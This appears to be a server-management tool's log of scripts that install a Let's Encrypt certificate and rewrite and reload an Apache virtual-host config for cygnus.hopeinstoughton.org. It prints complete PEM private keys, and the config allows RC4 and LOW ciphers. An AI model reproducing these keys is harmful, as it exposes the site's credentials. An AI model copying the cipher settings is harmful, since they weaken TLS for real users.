qZSLH0+mlNC62Nb5XDpXba/KNeH350qquwXuMO0ai+tLY/pLGqCw/eTvS2wLDoSu
GPMxjnHn58IAuv27weH74v2B
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-08-30 06:01:18: Establishing a connection
2025-08-30 06:01:19: Establishing a connection
2025-08-30 06:01:20: 

PUT: /tmp/pkp676535

#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-08-30 06:01:21: 

chmod 755 /tmp/pkp676535; /tmp/pkp676535; rm /tmp/pkp676535

2025-08-30 06:01:21: 


0


2025-08-30 06:01:48: Establishing a connection
2025-08-30 06:01:49: 

PUT: /tmp/pkp883485

#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734

cat > $temp_file <<'endmsg'
17:6d:f0:c2:b5:60:2b:ab:fa:4a:3a:5e:3f:2b:e6:37

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBlMD0bGmSpbdTLbqiDAfYmcdMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwMzE3WhcNMjUxMTI4MDUwMzE2WjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMoEiRuf/oFXzB97sk1X7zD+jVOk36wN8ONJt0ODJhHyGQ5j
cNqVLUlroGS47XwIxkDOi/mELbfCsFHkI8DL3+m8bcTQxfbHWat9xszjt6hO54nq
IpamJ6ZhZy32PF590ac/Bxz4+KoIppux8chhiaE6/0xGiZH0SrtuBCZS4dHzhKKf
xLfK/uZHJKlo6gHfgPH2Fwb0ZZ1eRBoG2ZynEZ5sY+ilPz60+pUNBVgbjg4coOFy
FjJEDre1joqcWsAKTrC131m2U3w/tWpkQY9SAt3JqqCEbOUcD8Yl+/OTDI/AsaDQ
akN7IEIu8B2XPyn3Ws3GFRRYdkgua580vF8ISP0CAwEAAaOCAiswggInMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUq1qH4aY5ZdxyNGhVsYn5VDlHULQwHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzMwLmNybDCCAQUGCisG
AQQB1nkCBAIEgfYEgfMA8QB3AKRCxQZJYGFUjw/U6pz7ei0mRU2HqX8v30VZ9idP
OoRUAAABmPmRVPYAAAQDAEgwRgIhAILykXeWtjFcvjKI5jAj7SW5QbBVII2LR/6c
RfllEfp8AiEAiHoTWivl8q/ekV2kASybEZwVIeLfl/mInCpn7IsTqhsAdgDM+w9q
hXEJZf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kVUVAAAEAwBHMEUCIQCc
CTjOAAUZpk7d8cjTdUaJEr/GMLyKcR/DH9aDEVfdwQIgGeUaNHvYgRFpDLbvNPvg
Br8QfymT3yQLlgVSUteWkNEwDQYJKoZIhvcNAQELBQADggEBAKRwkD0G2gu0GoIV
hRQKCO8COF3L0mG4Sj9eMaUZnPj0ykpa34tdFTjeb4Vw8eubfLzbL3FQo9kHI+YC
3D8Ah2BkqAOvMqEoLG7SuLs0w1UhMtuwzp4HyKu99ssTHHXepL7fhZF2m91K4mcQ
ywA4+FvjEG0ks++tvMM1W7uTMtz6kcoFgPLvXWwxMYDev3tT+Xk+tEINPysMPi3s
1C7B4g0BsVe5ANG4QV/fy/45yw+VjyMNUgMf7PhAwUWiCtRUzzzDvl90QVS3sYx8
UcVu26Bf9k9mr9DrkMXLaJfv6Zjaiv620M1JE1fqQLrz3Mumhzobw4FwxQAe0YvH
kqdnLgM=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDKBIkbn/6BV8wf
e7JNV+8w/o1TpN+sDfDjSbdDgyYR8hkOY3DalS1Ja6BkuO18CMZAzov5hC23wrBR
5CPAy9/pvG3E0MX2x1mrfcbM47eoTueJ6iKWpiemYWct9jxefdGnPwcc+PiqCKab
sfHIYYmhOv9MRomR9Eq7bgQmUuHR84Sin8S3yv7mRySpaOoB34Dx9hcG9GWdXkQa
BtmcpxGebGPopT8+tPqVDQVYG44OHKDhchYyRA63tY6KnFrACk6wtd9ZtlN8P7Vq
ZEGPUgLdyaqghGzlHA/GJfvzkwyPwLGg0GpDeyBCLvAdlz8p91rNxhUUWHZILmuf
NLxfCEj9AgMBAAECggEANjfTaHOfRa1/ni9/ohxomLioy3sjgLTZItck9VycehKE
wQTVRATne54EFSRAsJpWQwxsKtJbxsbctY3KPrM47C1jNIBnsRy9pzYBhfnTz7sl
jzEkiVQcrh3UKFS+zQltnDphOVhkvJXHyV+PqZzr6DbCUAFaaK6s4/LZ8EMsUkFT
gZUP/3OoMhzTroUk7ZyvbjyPUcYKCrhH9ZRnbNCfYir1BLuMC2b+litpf0c7vWa6
WR6zCRDAhUFyGYEu0pSs3/0uS5BXG8adpOTLh2xcV8xNGdd2Di/a1sXafFgQ0ERt
WWHtqMXlwGSnJpJmteiJrCgT5FPcVMQC/2UhcZG+zQKBgQD6mKduWXs4bDDjzgPx
DvPwTlUb9zeVDVcjA+Hv3lXGmRP/BdaX2oze2vOL9hqwP5R+4wJBy82yyTokOBRX
6bIf0z9xtbYMw4V8IQ8OZori5PA9PNOj0VPhkujvOLIUgL4S0B9Llgx1I6cKXbIj
ArYJcOYl5sncNddDw9TgSepxBwKBgQDOX7ea1w+q6feppQzeAxEZvoLfsa5KvK0v
0VbsJEk6GNQxQD0+Gra+OeNz15B9kBX/6MskhsbLKEdZOLUYqHJcLaSP5CX2d1LD
j9Qjc6Xmdvg9okRXS3+CXCfiNplX/1Tb8nRTKmABHiz3noreHgnbRYhqxPFJYvtz
bsuuoguo2wKBgAXaqRan2nwP8vhvaKIqAkLb4ZscpFzECgQUZCPRYtmX2+K6RTAY
9++A1+2uGyOA6LwqG3RkCXMixkvwT3FaUUHzEmlaoF0d+DFVKF/iv13bkU0s7ZjH
HBmJ8A0emvJlq4sO95wxbisSYSWZ2L5+orgHviimgpK1Y0j++yseLu7jAoGBAJNu
d/lrOGsueFq+acHVSQsuOcra4ZvMzKDDmahbh+C0SirhLJ9IcFLXgjGIx1WccMsA
oNd4XV5XaRlJVL7H3+MQTGbrY19/ASZqgu/Mt7E8Pr2xRcdjTTVw5qFJxiTCaPo0
bHvZYvqJdzBzF9v0c7AtLXaxOXrm9qIRfftFErVPAoGBAOfRdk+1hZARVjfz/Ci2
pJ8Ln+E8Vlfh94DWzAVv8PwttW/JrcSb3J8leISPfqXP+IEFAjF7SdEEZhZhrkdl
770doUZ6ciqN2I6lXHtMLgx0vHeoC+LnAFstSODd7pS9P+GhWGzxSwcLX5tlERyX
pA1FcO80X+uRZ02eXP/TAmtw
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-08-30 06:01:50: 

chmod 755 /tmp/pkp883485; /tmp/pkp883485; rm /tmp/pkp883485

2025-08-30 06:01:50: 


dir=/etc/ssl/certs


2025-08-30 06:01:50: 

PUT: /tmp/pkp315592

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-08-30 06:01:51: 

chmod 755 /tmp/pkp315592; /tmp/pkp315592; rm /tmp/pkp315592

2025-08-30 06:01:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 50
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>






2025-08-30 06:01:51: 

PUT: /tmp/pkp148466

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cygnus_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/qwerty/(.*) ws://192.168.1.19/$1  [P,L]
    
    #<Location /qwerty/>
#    ProxyHTMLEnable On
#    ProxyHTMLExtended On
#   ProxyPassReverse /
#   SetOutputFilter  proxy-html
#   ProxyHTMLURLMap / ./
#</Location>
#    ProxyPass  /qwerty/ http://192.168.1.19/
#    ProxyPassReverse /qwerty/ http://192.168.1.19/
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf= 1'
fi


2025-08-30 06:01:51: 

chmod 755 /tmp/pkp148466; /tmp/pkp148466; rm /tmp/pkp148466

2025-08-30 06:01:52: 




2025-08-30 06:01:52: 

PUT: /tmp/pkp446917

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-08-30 06:01:52: 

chmod 755 /tmp/pkp446917; /tmp/pkp446917; rm /tmp/pkp446917

2025-08-30 06:01:52: 


.


2025-08-30 06:01:52: Establishing a connection
2025-08-30 06:01:53: 

PUT: /tmp/pkp461261

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-08-30 06:01:55: 

chmod 755 /tmp/pkp461261; /tmp/pkp461261; rm /tmp/pkp461261

2025-08-30 06:01:55: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-08-30 06:01:55: 

PUT: /tmp/pkp751884

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-08-30 06:01:55: 

chmod 755 /tmp/pkp751884; /tmp/pkp751884; rm /tmp/pkp751884

2025-08-30 06:01:56: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf	2965
<VirtualHost *:80>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cygnus_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cygnus_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php
    #    RewriteEngine       On
#    RewriteCond %{REQUEST_METHOD} !POST
#    RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://127.0.0.1:8080/$1  [P,L]
    ProxyPassReverse	/ http://127.0.0.1:8080/
    
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/webrtc/(.*) ws://127.0.0.1:8000/$1  [P,L]
    ProxyPass	/webrtc/ http://127.0.0.1:8000/
    ProxyPassReverse	/webrtc/ http://127.0.0.1:8000/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cygnus.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
    DocumentRoot	/var/www/cygnus/public
    <Directory /var/www/cygnus/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    ProxyRequests	Off
    ProxyPreserveHost	On
    RewriteEngine	On
    
